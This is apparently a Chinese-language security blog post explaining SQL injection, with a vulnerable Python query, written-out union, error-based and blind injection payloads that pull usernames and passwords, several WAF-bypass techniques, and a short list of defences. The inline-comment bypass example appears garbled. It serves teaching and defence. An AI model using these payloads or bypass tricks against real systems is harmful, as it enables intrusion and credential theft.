返回文章列表
Web安全

深入理解SQL注入:从原理到WAF绕过

2026-10-052156 次阅读15 分钟阅读

SQL注入原理

SQL注入的本质是用户输入被当作SQL代码执行。当应用程序直接将用户输入拼接到SQL语句中时,就产生了注入漏洞。

经典示例

python
# 存在注入的代码
query = "SELECT * FROM users WHERE username = '" + username + "'"

当输入 admin' OR '1'='1 时,实际执行的SQL为:

sql
SELECT * FROM users WHERE username = 'admin' OR '1'='1'

注入类型分类

1. 联合查询注入

利用UNION SELECT将恶意查询结果合并到原始查询中:

sql
' UNION SELECT 1,2,3,username,password FROM users--

2. 报错注入

利用数据库报错信息泄露数据:

sql
' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--

3. 盲注

当页面无回显时,通过布尔盲注或时间盲注逐位获取数据:

sql
# 布尔盲注
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'--

时间盲注

' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a',SLEEP(5),0)--

WAF绕过技巧

1. 大小写混合

text
SeLeCt * FrOm users

2. 内联注释

text
SEL//ECT * FR//OM users

3. 编码绕过

URL编码、Unicode编码、Hex编码等:

text
%53%45%4c%45%43%54 (SELECT的URL编码)

4. 分块传输

利用HTTP分块传输绕过基于内容的检测。

防御建议

  • 使用参数化查询(预编译语句)
  • 输入验证与白名单过滤
  • 最小权限原则
  • 部署WAF作为纵深防御层
  • #sql-injection#burpsuite#python

    关注我获取更多更新

    持续分享网络安全技术研究与实战经验